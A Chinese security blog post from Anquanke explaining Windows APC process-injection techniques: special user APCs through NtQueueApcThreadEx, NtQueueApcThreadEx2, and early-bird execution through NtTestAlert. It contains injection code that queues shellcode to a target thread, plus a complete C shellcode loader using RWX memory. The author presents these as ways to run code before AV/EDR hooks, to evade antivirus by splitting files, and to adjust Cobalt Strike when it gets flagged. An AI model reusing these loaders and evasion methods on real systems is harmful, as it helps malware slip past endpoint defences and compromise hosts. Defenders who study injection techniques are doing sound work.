深入理解APC机制(二)

阅读量194921

|

发布时间 : 2021-09-06 10:30:03

 

0x01NtQueueApcThreadEx 之特殊用户 APC

​ 正如我上一篇所说,每个线程都有自己的 APC 队列。如果线程进入警报状态,它将开始以先进先出 (FIFO) 的形式执行 APC 作业。线程可以通过使用SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx函数进入警报状态。

+---------------------+                                                 +---------------------+       
|                     |                                                 |                     |       
|                     |                                                 |                     |       
|                     |                                                 |                     |       
|   Malware Process   |                                                 |   svchost process   |       
|                     |               1 allocating space                |                     |       
|                     |-----------------------------------------------> |---------------------|       
|                     |                                                 |                     |       
|                     |                                                 |      shellcode      |       
|                     |               2 writing shellcode               |                     |       
+---------------------+-----------------------------------------------> +---------------------+       
           |                                                                     ^                    
           |                                                                     |                    
           |                                                                     |                    
           |                                                                     |                    
           |                                                                     |                    
           |                                                                     |                    
           |                                                                     v                    
           |                                                     +-----------------------------+      
           |                                                     |                             |      
           |                                                     |                             |      
           |                                                     |         thread 1112         |      
           |                                                     |                             |      
           |                                                     |-----------------------------|      
           |                                                     |              |              |      
           |             3 Queue an APC to thread 1112           |exec shellcode|other jobs... |      
           +---------------------------------------------------->|              |              |      
                                                                 +-----------------------------+      
                                                                           APC Queue

而在 Windows RS5 中,微软实现了特殊用户 APC。特殊用户 APC 可用于强制线程执行 APC 例程,即使它未处于警报状态。我们使用特殊用户 APC 进行 APC 注入所采取的所有步骤都类似于简单 APC 注入。唯一的区别是在这种情况下我们不会对所有线程进行 APC。可以使用NtQueueApcThreadEx函数将一个特殊的 APC 排队到属于我们目标进程的第一个线程。可以查看reactos文档中的实现:https://doxygen.reactos.org/da/d3c/ntoskrnl_2ps_2state_8c_source.html#l00549

typedef enum _QUEUE_USER_APC_FLAGS {
    QueueUserApcFlagsNone,
    QueueUserApcFlagsSpecialUserApc,
    QueueUserApcFlagsMaxValue
} QUEUE_USER_APC_FLAGS;


typedef union _USER_APC_OPTION {
    ULONG_PTR UserApcFlags;
    HANDLE MemoryReserveHandle;
} USER_APC_OPTION, *PUSER_APC_OPTION;

USER_APC_OPTION UserApcOption;
UserApcOption.UserApcFlags = QueueUserApcFlagsSpecialUserApc;

for (Thread32First(snapshot, &te); Thread32Next(snapshot, &te);) {
    if (te.th32OwnerProcessID == target_process_id) {


        HANDLE target_thread_handle = OpenThread(THREAD_ALL_ACCESS, NULL, te.th32ThreadID);

        NtQueueApcThreadEx(target_thread_handle, QueueUserApcFlagsSpecialUserApc, (PKNORMAL_ROUTINE)target_process_buffer, NULL, NULL, NULL);

        CloseHandle(target_thread_handle);
        break;

    }
}

0x02 NtQueueApcThreadEx2

在 windows insider build 19603 的某个版本,添加了两个重要的功能:

  1. NtQueueApcThreadEx2:这是一个新的系统调用,它允许传递 UserApcFlags 和 MemoryReserveHandle。
  2. QueueUserAPC2:这是kernelbase.dll中的一个新包装函数,允许用户访问特殊用户APC。

微软允许客户端会使用QueueUserAPC2 ,它可用于在执行过程中向线程发送信号——例如模拟类似于 Linux 如何向线程发送信号(pthread_cancel) 的信号机制。

NTSTATUS
NtQueueApcThreadEx2(
    IN HANDLE ThreadHandle,
    IN HANDLE UserApcReserveHandle,
    IN QUEUE_USER_APC_FLAGS QueueUserApcFlags,
    IN PPS_APC_ROUTINE ApcRoutine,
    IN PVOID SystemArgument1 OPTIONAL,
    IN PVOID SystemArgument2 OPTIONAL,
    IN PVOID SystemArgument3 OPTIONAL
    );


DWORD
QueueUserApc2(
    PAPCFUNC pfnAPC,
    HANDLE hThread,
    ULONG_PTR dwData,
    QUEUE_USER_APC_FLAGS Flags
    );

 

0x03 NtTestAlert

​ 我们知道线程只有在进入alertable状态时才能运行 APC 作业。那是否有不用alertable状态运行 APC 作业的方法。还真有一个就是NtTestAlert函数,它检查当前线程的 APC 队列,如果有任何排队的作业,它会运行它们以清空队列。当一个线程启动时,NtTestAlert会被首先调用在执行下面流程。因此,如果在线程的开始状态将 APC 排队,就可以安全地运行。其中它的底层调用是KeTestAlertThread:

BOOLEAN
 NTAPI
 KeTestAlertThread(IN KPROCESSOR_MODE AlertMode)
 {
     PKTHREAD Thread = KeGetCurrentThread();
     BOOLEAN OldState;
     KLOCK_QUEUE_HANDLE ApcLock;
     ASSERT_THREAD(Thread);
     ASSERT_IRQL_LESS_OR_EQUAL(DISPATCH_LEVEL);

     /* Lock the Dispatcher Database and the APC Queue */
     KiAcquireApcLockRaiseToSynch(Thread, &ApcLock);

     /* Save the old State */
     OldState = Thread->Alerted[AlertMode];

     /* Check the Thread is alerted */
     if (OldState)
     {
         /* Disable alert for this mode */
         Thread->Alerted[AlertMode] = FALSE;
     }
     else if ((AlertMode != KernelMode) &&
              (!IsListEmpty(&Thread->ApcState.ApcListHead[UserMode])))
     {
         /* If the mode is User and the Queue isn't empty, set Pending */
         Thread->ApcState.UserApcPending = TRUE;
     }

     /* Release Locks and return the Old State */
     KiReleaseApcLock(&ApcLock);
     return OldState;
 }

​ 我们首先创建一个处于挂起状态的进程(如 svchost),然后将 APC 排队到主线程,然后恢复线程。因此,在线程开始执行主代码之前,它会调用NtTestAlert函数来清空当前线程的 APC 队列并运行排队的作业。因为它会在 AV/EDR hook新进程前运行。demo如下:

#include <Windows.h>

#pragma comment(lib, "ntdll")
using myNtTestAlert = NTSTATUS(NTAPI*)();

int main()
{
    unsigned char buf[] = "xx";
    myNtTestAlert testAlert = (myNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
    SIZE_T shellSize = sizeof(buf);
    LPVOID shellAddress = VirtualAlloc(NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(GetCurrentProcess(), shellAddress, buf, shellSize, NULL);

    PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
    QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), NULL);
    testAlert();

    return 0;
}

这里我采用了文件分离的方式,免杀效果:

 

0x04 总结

​ 网上使用这些的方式也有很多代码了,在我实际的渗透测试过程中比较倾向使用NtQueueApcThreadEx与NtTestAlert,绕过各种杀软的效果都挺可以,如果你还是显示被杀,可以先测试正常的弹计算器的shellcode是否正常。有些可能是比如CS的特征行为被杀,就需要改一下CS。

本文由anw2原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/252487

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
anw2
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66